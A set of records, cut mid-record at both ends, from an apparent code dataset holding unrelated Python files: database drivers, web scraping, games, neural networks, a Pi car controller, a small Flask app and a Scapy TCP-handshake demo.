celery_app\n\n\n\n@celery_app.task(name='generate_static_sku_detail_html')\ndef generate_static_sku_detail_html(sku_id):\n\n # =================categories参数的获取,即频道信息的获取,同generate_index内的\n\n categories = get_categories()\n\n goods,sku,specs = get_goods_and_spec(sku_id)\n\n # ====================构建模板参数=========================\n context = {\n 'categories':categories,\n 'goods':goods,\n 'specs':specs,\n 'sku':sku\n }\n # 获取模板\n template = loader.get_template('detail.html')\n\n # 调用模板渲染函数,得出完整的html页面\n sku_html_text = template.render(context=context)\n\n\n # 写入静态文件\n file_path = os.path.join(\n settings.GENERATED_STATIC_HTML_FILES_DIR,\n 'goods/' + str(sku_id) + '.html'\n )\n with open(file_path,'w',encoding='utf-8') as f:\n f.write(sku_html_text)\n","sub_path":"meiduo_mall/meiduo_mall/celery_tasks/html/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"141841152","text":"from pyctsqlapi import *\r\nimport time\r\nimport sys\r\n\r\nif sys.version_info < (3,0,0):\r\n from exceptions import StopIteration\r\n\t\r\n#import warnings\r\n\r\n#warnings.warn('DB-API extension cursor.connection used')\r\n\r\n__all__ = [\r\n 'connect', 'Connection', 'Cursor'\r\n ]\r\n\r\napilevel = '2.0'\r\nthreadsafety = 1 # 1 Threads may share the module, but not connections.\r\nparamstyle = 'qmark'\r\n\r\n\r\nclass Cursor(object):\r\n \"\"\"Cursor objects represent a database cursor, which is used to manage the context\r\nof a fetch operation. Cursors created from the same connection are not\r\nisolated, i.e., any changes done to the database by a cursor are immediately\r\nvisible by the other cursors. Cursors created from different connections are\r\nisolated.\"\"\"\r\n def __init__(self, _connection):\r\n self._cmd = None\r\n self._lastOperation = ''\r\n self._arraysize = 1\r\n self._affected = -1\r\n self._conn = _connection\r\n if _connection != None:\r\n self._cmd = CtreeSql.new_command(_connection._conn)\r\n else:\r\n raise InterfaceError(4,'internal error, invalid Connection instance in cursor constructor')\r\n CtreeSql.set_scrollable_cursor(self._cmd, 1)\r\n #CtreeSql.set_low_fetch_size(self._cmd,32)\r\n\r\n def __del__(self):\r\n if self._cmd != None :\r\n try:\r\n self._cmd.close()\r\n except:\r\n pass\r\n self._cmd = None\r\n\r\n def __str__(self):\r\n raise NotSupportedError('__str__ not yet supported for cursor')\r\n\r\n def __iter__(self):\r\n return self\r\n\r\n def next(self): # Python 3: def __next__(self)\r\n return self.__next__()\r\n\r\n def __next__(self):\r\n res = self.fetchone()\r\n if res is not None:\r\n return tuple(res)\r\n else:\r\n raise StopIteration\r\n\r\n def _check_validity(self, check_crsr = False):\r\n if self._cmd == None:\r\n raise ProgrammingError(5,'invalid Cursor instance')\r\n self._conn._check_validity();\r\n if check_crsr and not self._cmd.is_rs_open():\r\n raise ProgrammingError(6,'Closed Cursor instance')\r\n return True\r\n\r\n def _get_row_count(self):\r\n self._check_validity()\r\n if self._affected != -1 :\r\n return self._affected\r\n if self._lastOperation == '':\r\n return -1\r\n return CtreeSql.get_row_count(self._cmd)\r\n\r\n def _get_description(self):\r\n try :\r\n self._check_validity(True)\r\n except ProgrammingError :\r\n return None\r\n\r\n return self._cmd.get_description()\r\n\r\n def _get_arraysize(self):\r\n return self._arraysize\r\n \r\n def _set_arraysize(self, value):\r\n self._arraysize = value\r\n \r\n def _get_connection_obj(self):\r\n return self._conn\r\n \r\n def _get_query_timeout(self):\r\n self._check_validity()\r\n return CtreeSql.get_query_timeout(self._cmd)\r\n \r\n def _set_query_timeout(self, value):\r\n self._check_validity()\r\n return CtreeSql.set_query_timeout(self._cmd, value)\r\n \r\n description = property(_get_description,doc=\"\"\"This read-only attribute is a sequence of 7-item sequences. Each of these\r\nsequences contains information describing one result column: (name, type_code,\r\ndisplay_size, internal_size, precision, scale, null_ok).\r\n \r\nThis attribute will be None for operations that do not return rows or if the\r\ncursor has not had an operation invoked via the execute() method yet\r\n \r\nThe type_code can be interpreted by comparing it to the Type Objects defined in\r\nthe DB API and defined the pyctree module: Date, Time, Timestamp, Binary,\r\nSTRING, BINARY, NUMBER, and DATETIME.\"\"\")\r\n \r\n rowcount = property(_get_row_count,doc=\"\"\"This read-only attribute specifies the number of rows the last statement\r\naffected. \"\"\")\r\n \r\n #nextset #optional not supported\r\n \r\n arraysize = property(_get_arraysize,_set_arraysize,None,\"\"\"This read/write attribute specifies the number of rows to fetch at a time with\r\nfetchmany(). It defaults to 1 meaning to fetch a single row at a time.\"\"\")\r\n \r\n connection = property(_get_connection_obj,doc=\"\"\"This read-only attribute return a reference to the Connection\r\nobject on which the cursor was created.\"\"\")\r\n\r\n querytimeout = property(_get_query_timeout,_set_query_timeout,None,\"\"\"This read/write attribute specifies the query time-out in seconds. It defaults to 0 meaning no time-out.\"\"\")\r\n\r\n def close(self):\r\n \"\"\"Close the cursor now (rather than whenever __del__ is called). The cursor will \r\nbe unusable from this point forward; a ProgrammingError exception will be \r\nraised if any operation is attempted with the cursor.\"\"\"\r\n self._check_validity()\r\n self._cmd.close()\r\n self._cmd = None\r\n self._affected = -1\r\n \r\n def execute(self, operation, parameters=None):\r\n \"\"\"Prepare and execute a database query or command.\r\nParameters can be provided as a sequence (as specified by the DB API):\r\ncursor.execute(sql, (param1, param2))\"\"\"\r\n self._affected = -1\r\n self._check_validity()\r\n if self._cmd.is_rs_open() :\r\n self._cmd.close_rs()\r\n self._desc = None\r\n self._lastOperation = '' # this because we need to always prepare after a select\r\n \r\n if operation != self._lastOperation:\r\n CtreeSql.prepare(self._cmd, operation)\r\n self._lastOperation = operation\r\n\r\n CtreeSql.set_params(self._cmd, parameters)\r\n\r\n CtreeSql.execute(self._cmd)\r\n \r\n def callproc (self, procname, params=None):\r\n \"\"\"Prepare and execute a database stored procedure.\r\nParameters can be provided as a sequence (as specified by the DB API):\r\ncursor.callproc(procname, (param1, param2))\"\"\"\r\n if params != None :\r\n pl = len (params) - 1\r\n vals='?'\r\n while pl > 0 :\r\n vals = vals + ', ?'\r\n pl = pl - 1\r\n else:\r\n vals =''\r\n cmd = 'call '+procname+' ('+vals+')'\r\n self.execute(cmd,params)\r\n \r\n def executemany(self, operation, seq_of_parameters):\r\n \"\"\"Prepare a database query or command and then execute it against all parameter\r\nsequences found in the sequence seq_of_params.\"\"\" \r\n self._affected = -1\r\n self._check_validity()\r\n if self._cmd.is_rs_open() :\r\n self._cmd.close_rs()\r\n self._desc = None\r\n self._lastOperation = '' # this because we need to always prepare after a select\r\n \r\n if operation != self._lastOperation:\r\n CtreeSql.prepare_batch(self._cmd, operation, len(seq_of_parameters))\r\n self._lastOperation = operation\r\n\r\n for params in seq_of_parameters:\r\n CtreeSql.set_params(self._cmd, params)\r\n CtreeSql.next_batch_item(self._cmd)\r\n \r\n CtreeSql.execute(self._cmd) \r\n \r\n def setinputsizes(self, size):\r\n pass\r\n\r\n def setoutputsize(self, size, column = None):\r\n pass\r\n\r\n def fetchmany(self, size = None):\r\n \"\"\"Fetch the next set of rows of a query result, returning a list of Row\r\ninstances. An empty list is returned when no more rows are available.\r\n\r\nThe number of rows to fetch per call is specified by the parameter. If it is\r\nnot given, the cursor's arraysize determines the number of rows to be\r\nfetched. The method tries to fetch as many rows as indicated by the size\r\nparameter. If this is not possible due to the specified number of rows not\r\nbeing available, fewer rows may be returned.\r\n\r\nA ProgrammingError exception is raised if the previous call to execute() did\r\nnot produce any result set or no call was issued yet.\"\"\"\r\n result = []\r\n self._check_validity(True)\r\n if size == None:\r\n size = self._arraysize\r\n while size > 0:\r\n size = size - 1\r\n tpl = CtreeSql.get_next_tuple(self._cmd)\r\n if tpl == None:\r\n break\r\n result.append(tpl)\r\n if self._affected == -1:\r\n self._affected = len(result)\r\n else:\r\n self._affected += len(result)\r\n return result\r\n \r\n def fetchall(self):\r\n \"\"\"Fetch all remaining rows of a query result, returning them as a list of Rows.\r\nAn empty list is returned if there are no more rows.\r\n\r\nA ProgrammingError exception is raised if the previous call to execute() did\r\nnot produce any result set or no call was issued yet.\"\"\"\r\n result = []\r\n self._check_validity(True)\r\n while True:\r\n tpl = CtreeSql.get_next_tuple(self._cmd)\r\n if tpl == None:\r\n break\r\n result.append(tpl)\r\n if self._affected == -1:\r\n self._affected = len(result)\r\n else:\r\n self._affected += len(result)\r\n return result\r\n\r\n def fetchone(self):\r\n \"\"\"Fetch the next row of a query result set, returning a single Row instance, or\r\nNone when no more data is available\r\n\r\nA ProgrammingError exception is raised if the previous call to execute() did\r\nnot produce any result set or no call was issued yet.\"\"\"\r\n self._check_validity(True)\r\n tpl = CtreeSql.get_next_tuple(self._cmd)\r\n if tpl is not None:\r\n if self._affected == -1:\r\n self._affected = 1\r\n else:\r\n self._affected += 1\r\n return tpl\r\n\r\n @property\r\n def lastrowid(self):\r\n \"\"\"retrieve the last rowid used.\"\"\"\r\n _int_cur = self._conn.cursor()\r\n _int_cur.execute(\"select last_ident()\")\r\n last = _int_cur.fetchone()\r\n _int_cur.close()\r\n return last[0]\r\n\r\nclass Connection(object):\r\n \"\"\"Connection objects handle connections to the database.\"\"\"\r\n \r\n #define here class variables shared by all instances\r\n\r\n def __init__(self, user='guest', password='', host='127.0.0.1', database='ctreeSQL', port ='6597', ssl = None):\r\n #define here instance variables\r\n self._conn = None\r\n if (not isinstance(port, STRING)):\r\n port = str(port)\r\n\r\n self._conn = CtreeSql.new_connection(port + '@' + host + ':' + database, user, password, ssl )\r\n\r\n def __del__(self):\r\n if self._conn != None:\r\n CtreeSql.free_connection(self._conn)\r\n self._conn = None\r\n\r\n def __str__(self):\r\n return str(self._conn)\r\n\r\n def _check_validity(self):\r\n if self._conn == None:\r\n raise ProgrammingError(2,'invalid/closed Connect instance')\r\n \r\n def _set_autocommit(self, value):\r\n self._check_validity()\r\n CtreeSql.setautocommit(self._conn, value)\r\n \r\n def _get_autocommit(self):\r\n self._check_validity()\r\n return CtreeSql.getautocommit(self._conn)\r\n \r\n autocommit = property(_get_autocommit, _set_autocommit, doc=\"\"\"Read/write attribute: if True, transactions are handled by the driver and every statement is immediately committed; if False transactions need to be explicitly handled.\"\"\")\r\n \r\n def close(self):\r\n \"\"\" Close the connection now (rather than whenever __del__ is called).\r\nThe connection will be unusable from this point forward and a ProgrammingError\r\nwill be raised if any operation is attempted with the connection. The same\r\napplies to all cursor objects trying to use the connection.\r\n \"\"\"\r\n self._check_validity()\r\n CtreeSql.free_connection(self._conn)\r\n self._conn = None\r\n \r\n def cursor(self):\r\n \"\"\"Return a new Cursor object using the connection.\"\"\"\r\n self._check_validity()\r\n return Cursor(self)\r\n\r\n def commit(self):\r\n \"\"\"Commit any pending transaction to the database.\"\"\"\r\n self._check_validity()\r\n CtreeSql.commit(self._conn)\r\n \r\n def rollback(self):\r\n \"\"\"Causes the the database to roll back any pending transaction.\"\"\"\r\n self._check_validity()\r\n CtreeSql.abort(self._conn)\r\n\r\n def set_isolation(self, value):\r\n self._check_validity()\r\n CtreeSql.set_isolation_level(self._conn, value)\r\n \r\n def get_isolation(self):\r\n self._check_validity()\r\n return CtreeSql.get_isolation_level(self._conn)\r\n \r\ndef connect(**kw_args):\r\n \"\"\"Constructor for creating a connection to the database.\r\nReturns a Connection Object. It takes parameters \r\nas keyword parameters for more intuitive use as\r\nfollow:\r\nuser User name as string (optional default guest)\r\npassword Password as string (optional default None)\r\nhost Hostname (optional default 127.0.0.1)\r\ndatabase Database name (optional default ctreeSQL)\r\nport TCP/IP port number (optional default 6597)\r\nssl None: no SSL, (optional default None)\r\n 'BASIC': SSL without certificate checking, \r\n '': SSL with certificate checking, certificate file as specified,\r\n '': SSL with certificate checking, certificate in current working dir named ctsrvr.pem.\r\n\"\"\"\r\n return Connection(**kw_args)\r\n\r\n################################################################################\r\n \r\ndef DateFromTicks(ticks=None):\r\n if ticks == None: \r\n ticks = time.time()\r\n return Date(*time.localtime(ticks)[:3])\r\n\r\ndef TimeFromTicks(ticks=None):\r\n if ticks == None: \r\n ticks = time.time()\r\n return Time(*time.localtime(ticks)[3:6])\r\n\r\ndef TimestampFromTicks(ticks=None):\r\n if ticks == None: \r\n ticks = time.time()\r\n return Timestamp(*time.localtime(ticks)[:6])\r\n################################################################################","sub_path":"drivers/python.sql/pyctree.py","file_name":"pyctree.py","file_ext":"py","file_size_in_byte":13711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"472609252","text":"import glob\nimport os\nfrom os.path import join, dirname\nfrom setuptools import setup\nfrom setuptools.extension import Extension\nimport shutil\nimport sys\n\nCURRENT_DIR = dirname(__file__)\n\nwith open(join(CURRENT_DIR, 'plyvel/_version.py')) as fp:\n exec(fp.read(), globals(), locals())\n\n\ndef get_file_contents(filename):\n with open(join(CURRENT_DIR, filename)) as fp:\n return fp.read()\n\n\ndef is_leveldb_source(p):\n suffix = p.split('_')[-1].split('.')[0] \n return suffix not in ('test', 'bench', 'posix', 'main')\n\n\ndef leveldb_configure(ext, root):\n ext.include_dirs = [root, join(root, 'include')]\n ext.sources.extend(filter(is_leveldb_source,\n glob.glob(join(root, '*/*.cc'))))\n ext.sources.extend(filter(is_leveldb_source,\n glob.glob(join(root, 'helpers/*/*.cc'))))\n\n if sys.platform == 'win32':\n ext.sources.extend([\n 'winleveldb/port/port_win.cc', 'winleveldb/env_win.cc'])\n ext.include_dirs.extend(['winleveldb'])\n ext.libraries = ['Shlwapi', 'Shell32']\n ext.define_macros = [\n ('LEVELDB_PLATFORM_WINDOWS', '1'),\n ('OS_WIN', '1'),\n ('COMPILER_MSVC', '1'),\n ]\n ext.extra_compile_args = ['/EHsc']\n \n shutil.copy('winleveldb/port/port.h', join(root, 'port'))\n else:\n ext.sources.extend([\n join(root, 'port/port_posix.cc'), join(root, 'util/env_posix.cc')])\n ext.libraries = []\n ext.define_macros = [\n ('LEVELDB_PLATFORM_POSIX', '1'),\n ]\n\n\ndef snappy_configure(ext, root):\n ext.include_dirs.append(root)\n ext.sources.extend([\n join(root, 'snappy.cc'),\n join(root, 'snappy-c.cc'),\n join(root, 'snappy-sinksource.cc'),\n join(root, 'snappy-stubs-internal.cc'),\n ])\n ext.define_macros.append(('SNAPPY', '1'))\n\n\nLEVELDB = Extension(\n 'plyvel._plyvel',\n sources=['plyvel/_plyvel.cpp', 'plyvel/comparator.cpp'],\n libraries=['leveldb'],\n extra_compile_args=['-Wall', '-g'],\n)\n\nleveldb_root = os.environ.get('PLYVEL_LEVELDB', 'parts/leveldb')\nif os.path.exists(leveldb_root):\n leveldb_configure(LEVELDB, leveldb_root)\n\n snappy_root = os.environ.get('PLYVEL_SNAPPY', 'parts/snappy')\n if os.path.exists(snappy_root):\n snappy_configure(LEVELDB, snappy_root)\n\n\nsetup(\n name='numion-plyvel',\n description=\"Plyvel, a fast and feature-rich Python interface to LevelDB\",\n long_description=get_file_contents('README.rst'),\n url=\"https://github.com/numion/plyvel\",\n version=__version__,\n author=\"Wouter Bolsterlee\",\n author_email=\"uws@xs4all.nl\",\n ext_modules=[LEVELDB],\n packages=['plyvel'],\n license=\"BSD License\",\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Information Technology\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: BSD License\",\n \"Operating System :: POSIX\",\n \"Programming Language :: C++\",\n \"Programming Language :: Cython\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Database\",\n \"Topic :: Database :: Database Engines/Servers\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ]\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"154935744","text":"import platform\nimport os\nimport regx\n\ndef menu():\n return '''\n################################\n\n Anggota Kelompok\n Ardhi Putra Mahardika\n Bagas Ardian\n Krisan Alifari\n\n MENU\n1. Parsing Nama\n2. Parsing NPM\n3. Exit\n\n################################\n '''\n\ndef name_parsing_title():\n return '''\n\n Parsing NPM\n\n'''\n\ndef clear_screen():\n opsy = platform.system()\n if opsy == 'Linux':\n os.system('clear')\n else:\n os.system('cls')\n\ndef main():\n while True:\n clear_screen()\n\n print(menu())\n choice = int(input('Masukan pilihan anda : '))\n\n if choice == 1:\n name = input('Masukan nama : ')\n\n if regx.check_name(name):\n print('Nama valid')\n else:\n print('Nama tidak valid')\n elif choice == 2:\n print(name_parsing_title())\n sid = input('Masukan NPM : ')\n\n if regx.check_student_id(sid):\n print('NPM yang dimasukan terdaftar di kelas 4ia01')\n else:\n print('NPM yang dimasukan tidak terdaftar di kelas 4ia01')\n else:\n exit(0)\n\n print()\n input('Tekan tombol apa saja untuk melanjutkan...')\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"438885439","text":"# Define here the models for your spider middleware\n#\n# See documentation in:\n# https://docs.scrapy.org/en/latest/topics/spider-middleware.html\n\nfrom scrapy import signals\nfrom selenium import webdriver\n# useful for handling different item types with a single interface\nfrom itemadapter import is_item, ItemAdapter\nimport time\nfrom scrapy.http import HtmlResponse\n\n\nclass SeleiumMiddleware(object):\n\n def process_request(self, request, spider):\n url = request.url\n\n if 'daydata' in url:\n opt = webdriver.ChromeOptions()\n # opt.add_argument('--headless')\n # opt.add_argument('--disable-gpu')\n driver = webdriver.Chrome(options=opt)\n driver.get(url)\n time.sleep(3)\n data = driver.page_source\n\n driver.close()\n # 创建响应对象\n res = HtmlResponse(url=url, body=data, encoding='utf-8', request=request)\n return res\n\n\n","sub_path":"Project/爬虫/scrapy爬虫框架/普通爬虫/selnium/AQI/AQI/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"179336847","text":"\"\"\" a plant like monster with electrial shots \"\"\"\nimport pygame\nfrom pygame.locals import *\nfrom pygame.rect import Rect\nimport random\nimport os\nimport sys; sys.path.insert(0, \"..\")\nfrom pgu.vid import Sprite\nimport math\nfrom effect import Effect\nfrom shot import Shot\nfrom enemy import Enemy\nfrom inventory import Inventory\n\n\n\nclass Monster5(Enemy):\n \"\"\" Plant. a plant like monster with electrial shots\n\n \"\"\"\n\n def __init__(self, g, pos):\n Enemy.__init__(self, g, pos, 'monster5')\n hitSoundFile = os.path.join(\"effects\", \"critter7.wav\")\n self.birdhit = pygame.mixer.Sound(hitSoundFile)\n self.health = 8\n self.speed = 3\n self.direction = random.randint(0, 2) % 2\n self.mode = 'idle'\n self.jumpvel = 0.0\n self.jumpstart = 8.0\n\n # behavour\n def loop(self, g, r):\n self.pos = g.screen_to_tile((self.rect.x - g.view.x + 8, self.rect.y - g.view.y + 16))\n canbehit = 1\n canhitplayer = 1\n\n if self.mode == 'idle':\n self.image = g.images['monster5'][0].subsurface((0, 0, 32, 32))\n mdx,mdy = g.player.rect.x - self.rect.x, g.player.rect.y - self.rect.y\n # getting bored, going for a little walk\n self.btimer += 1\n if self.btimer > 100:\n self.mode = 'run'\n self.btimer = 0\n self.direction = random.randint(0,1)\n # getting close will cause it to jump\n if mdx < 50 and mdx > -50:\n if mdy < 50 and mdy > -50:\n self.mode = 'jump'\n self.jumpvel = self.jumpstart\n elif self.mode == 'ouch':\n self.image = g.images['monster5'][0].subsurface((3 * 32, 0, 32, 32))\n self.btimer += 1\n if self.btimer > 1:\n self.btimer = 0\n self.mode = 'jump'\n self.jumpvel = self.jumpstart\n self.direction = self.rect.x < g.player.rect.x\n elif self.mode == 'run':\n d = self.btimer / 4\n self.image = g.images['monster5'][0].subsurface((d * 32, 0, 32, 32))\n belowpos = g.clayer[self.pos[1] + 1][self.pos[0]]\n if belowpos != 1:\n self.direction = not self.direction\n fnum = (self.timer / 2 % 3)\n self.image = g.images['monster5'][0].subsurface(((1+fnum) * 32, 0, 32, 32))\n self.btimer += 1\n self.rect.x += (self.direction * 2 - 1) * self.speed\n if self.btimer > 10:\n self.mode = 'idle'\n self.btimer = 0\n elif self.mode == 'jump':\n d = 1\n if self.jumpvel < -5:\n d = 3\n elif self.jumpvel < 10:\n d = 2\n\n self.image = g.images['monster5'][0].subsurface(((d) * 32, 32, 32, 32))\n self.rect.y -= self.jumpvel\n self.jumpvel -= .5\n self.rect.x += (self.direction * 2 - 1) * self.speed\n elif self.mode == 'death':\n self.image = g.images['monster5'][0].subsurface((3 * 32, 0, 32, 32))\n self.btimer += 1\n if self.btimer > 10:\n self.destroy()\n self.loop_hit_death(g, r, canbehit, canhitplayer)\n\n # destroy self\n def destroy(self):\n Effect(self.g, 'explosion', (self.rect.x, self.rect.y))\n\n rint = random.randint(1, 3)\n if rint == 1:\n Inventory(self.g, 'shot7', (self.rect.x, self.rect.y))\n elif rint == 2:\n Inventory(self.g, 'health', (self.rect.x, self.rect.y))\n elif rint == 3:\n Inventory(self.g, 'skyberry', (self.rect.x, self.rect.y))\n Inventory(self.g, 'skyberry', (self.rect.x, self.rect.y))\n Inventory(self.g, 'skyberry', (self.rect.x, self.rect.y))\n self.destryoed.play()\n self.g.sprites.remove(self)\n\n # walk away from the wall\n def rebound(self, h):\n self.direction = not self.direction\n if self.mode == 'jump':\n if self.jumpvel < 0:\n self.mode = 'idle'\n else:\n self.jumpvel = -10","sub_path":"src/enemies/monster5.py","file_name":"monster5.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"629945514","text":"#!/usr/bin/env python3\n\"\"\"\nDefines function that creates a vanilla autoencoder\n\"\"\"\n\n\nimport tensorflow.keras as keras\n\n\ndef autoencoder(input_dims, hidden_layers, latent_dims):\n \"\"\"\n Creates a \"vanilla\" autoencoder\n\n parameters:\n input_dims [int]:\n contains the dimensions of the model input\n hidden_layers [list of ints]:\n contains the number of nodes for each hidden layer in the encoder\n the hidden layers should be reversed for the decoder\n latent_dims [int]:\n contains the dimensions of the latent space representation\n\n All layers should use relu activation except for last layer\n Last layer should use sigmoid activation\n Autoencoder model should be compiled with Adam optimization\n and binary cross-entropy loss\n\n returns:\n encoder, decoder, auto\n encoder [model]: the encoder model\n decoder [model]: the decoder model\n auto [model]: full autoencoder model\n compiled with adam optimization and binary cross-entropy loss\n \"\"\"\n if type(input_dims) is not int:\n raise TypeError(\n \"input_dims must be an int containing dimensions of model input\")\n if type(hidden_layers) is not list:\n raise TypeError(\"hidden_layers must be a list of ints \\\n representing number of nodes for each layer\")\n for nodes in hidden_layers:\n if type(nodes) is not int:\n raise TypeError(\"hidden_layers must be a list of ints \\\n representing number of nodes for each layer\")\n if type(latent_dims) is not int:\n raise TypeError(\"latent_dims must be an int containing dimensions of \\\n latent space representation\")\n\n # encoder\n encoder_inputs = keras.Input(shape=(input_dims,))\n encoder_value = encoder_inputs\n for i in range(len(hidden_layers)):\n encoder_layer = keras.layers.Dense(units=hidden_layers[i],\n activation='relu')\n encoder_value = encoder_layer(encoder_value)\n encoder_output_layer = keras.layers.Dense(units=latent_dims,\n activation='relu')\n encoder_outputs = encoder_output_layer(encoder_value)\n encoder = keras.Model(inputs=encoder_inputs, outputs=encoder_outputs)\n\n # decoder\n decoder_inputs = keras.Input(shape=(latent_dims,))\n decoder_value = decoder_inputs\n for i in range(len(hidden_layers) - 1, -1, -1):\n decoder_layer = keras.layers.Dense(units=hidden_layers[i],\n activation='relu')\n decoder_value = decoder_layer(decoder_value)\n decoder_output_layer = keras.layers.Dense(units=input_dims,\n activation='sigmoid')\n decoder_outputs = decoder_output_layer(decoder_value)\n decoder = keras.Model(inputs=decoder_inputs, outputs=decoder_outputs)\n\n # autoencoder\n inputs = encoder_inputs\n auto = keras.Model(inputs=inputs, outputs=decoder(encoder(inputs)))\n auto.compile(optimizer='adam',\n loss='binary_crossentropy')\n return encoder, decoder, auto\n","sub_path":"unsupervised_learning/0x04-autoencoders/0-vanilla.py","file_name":"0-vanilla.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"222833484","text":"from gpiozero import LED, PWMLED\nfrom controller import SingleSerov\n\nimport time\n\nfrom controller import CarDriver\n\ncarConfig = {\n \"CA1\": 22,\n \"CA2\": 27,\n \"SA\": 20,\n \"CB1\": 17,\n \"CB2\": 4,\n \"SB\": 21,\n }\ncar = CarDriver(**carConfig)\ncar.speed = 1\n\nguang = PWMLED(18)\n\nser_v = SingleSerov(24) # 垂直\nser_h = SingleSerov(23, 90) # 水平\n\n\n\ndef main():\n while True:\n v = input(':')\n car.speed = 1\n if v=='w':\n car.up()\n elif v=='s':\n car.down()\n elif v=='a':\n car.left()\n elif v=='d':\n car.right()\n elif v=='q':\n guang.pulse()\n elif v=='e':\n guang.value = 0\n elif v=='r':\n ser_v.toStart()\n elif v=='f':\n ser_v.toEnd()\n elif v=='z':\n ser_h.toEnd()\n elif v=='x':\n ser_h.toStart()\n elif v==' ':\n car.stop()\n \n # time.sleep(1)\n\nif __name__ == \"__main__\":\n main()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"682391","text":"from flask import Flask, render_template, request, session\napp = Flask(__name__)\n\n@app.route('/')\ndef hello_world():\n return render_template('home.html')\n\n@app.route('/test')\ndef main_main():\n return render_template('wod.html')\n\n@app.route('/login', methods=['POST'])\ndef login():\n user_id = request.form['number']\n if user_id == '20150131':\n session['logged_in'] = True\n return render_template('mmain.html')\n else:\n return 'wrong number!'\n\n@app.route('/media')\ndef media():\n import urllib\n from bs4 import BeautifulSoup\n url1=urllib.urlopen(\"http://www.crossfitcvi.com/resources/benchmark-hero-wods/\")\n soup1=BeautifulSoup(url1)\n return render_template('wod.html', soup1=soup1)\n\n\nif __name__ == '__main__':\n\tapp.secret_key = 'waawda'\n\tapp.run(debug=True, host='0.0.0.0')","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"230763426","text":"from scapy.all import *\nimport logging\n\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\ndestination = \"www.google.ru\"\ndport = 80\nsport = 4444\nmy_seq = 2000\n\ndebug = True\n\npkt_ip = IP(dst=destination)\npkt_syn = pkt_ip/TCP(sport=sport, dport=dport, seq=my_seq, flags=\"S\")\npkt_syn_ack = sr1(pkt_syn, verbose=0)\n\n\nif pkt_syn_ack.ack != my_seq+1:\n\tprint(\"Bad ACK number !\")\nremote_seq = pkt_syn_ack.seq\nmy_seq = my_seq+1\n\n\npkt_ack = pkt_ip/TCP(sport=sport, dport=dport, seq=my_seq, ack=remote_seq+1, flags=\"A\")\nsend(pkt_ack)\n\nif debug:\n\tprint(\"######################### SYN ###############################\")\n\tprint(\"seq = %d, ack = %d\" % (pkt_syn.seq, pkt_syn.ack))\n\n\tprint(\"######################### SYN-ACK ############################\")\n\tprint(\"seq = %d, ack = %d\" % (pkt_syn_ack.seq, pkt_syn_ack.ack))\n\n\tprint(\"######################### ACK ###############################\")\n\tprint(\"seq = %d, ack = %d\" % (pkt_ack.seq, pkt_ack.ack))\n","sub_path":"Python projects/tcp.py","file_name":"tcp.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"284914812","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n\nfrom __future__ import print_function\nimport argparse\nimport chainer.links as L \nimport chainer.functions as F\n\nfrom chainer import initializers\n\nimport chainer\nfrom chainer import training\nfrom chainer.training import extensions\nfrom chainer import cuda\nfrom chainer import Variable\n\nfrom UNIQLO_net import Discriminator\nfrom dataset_from_directory import DatasetFromDirectory\n\nimport os\nfrom PIL import Image\nimport numpy as np\nimport cupy as cp\nimport csv\n\nclass DiscriminatorClassifier(chainer.Chain):\n def __init__(self):\n initializer = initializers.HeNormal()\n dis = Discriminator()\n chainer.serializers.load_npz('result/dis_iter_100000.npz', dis)\n super(DiscriminatorClassifier, self).__init__(\n c0 = L.Convolution2D(3, 64, 4, stride=2, pad=1, initialW=dis.c0.W.data, initial_bias=dis.c0.b.data),\n c1 = L.Convolution2D(64, 128, 4, stride=2, pad=1, initialW=dis.c1.W.data, initial_bias=dis.c1.b.data),\n c2 = L.Convolution2D(128, 256, 4, stride=2, pad=1, initialW=dis.c2.W.data, initial_bias=dis.c2.b.data),\n c3 = L.Convolution2D(256, 512, 4, stride=2, pad=1, initialW=dis.c3.W.data, initial_bias=dis.c3.b.data),\n l4 = L.Linear(4*4*512, 24, initialW = initializer), \n bn1 = L.BatchNormalization(128),\n bn2 = L.BatchNormalization(256),\n bn3 = L.BatchNormalization(512),\n )\n \n def __call__(self, x):\n h = F.leaky_relu(self.c0(x))\n h = F.leaky_relu(self.bn1(self.c1(h)))\n h = F.leaky_relu(self.bn2(self.c2(h)))\n h = F.leaky_relu(self.bn3(self.c3(h)))\n l = self.l4(h)\n return l\n \n# freeze out of layers near the input\nclass DelGradient(object):\n name = 'DelGradient'\n def __init__(self, delTgt):\n self.delTgt = delTgt\n\n def __call__(self, opt):\n for name,param in opt.target.namedparams():\n for d in self.delTgt:\n if d in name:\n grad = param.grad\n with cuda.get_device(grad):\n grad*=0\n\ndef main():\n parser = argparse.ArgumentParser(description='Chainer example: DCGAN')\n 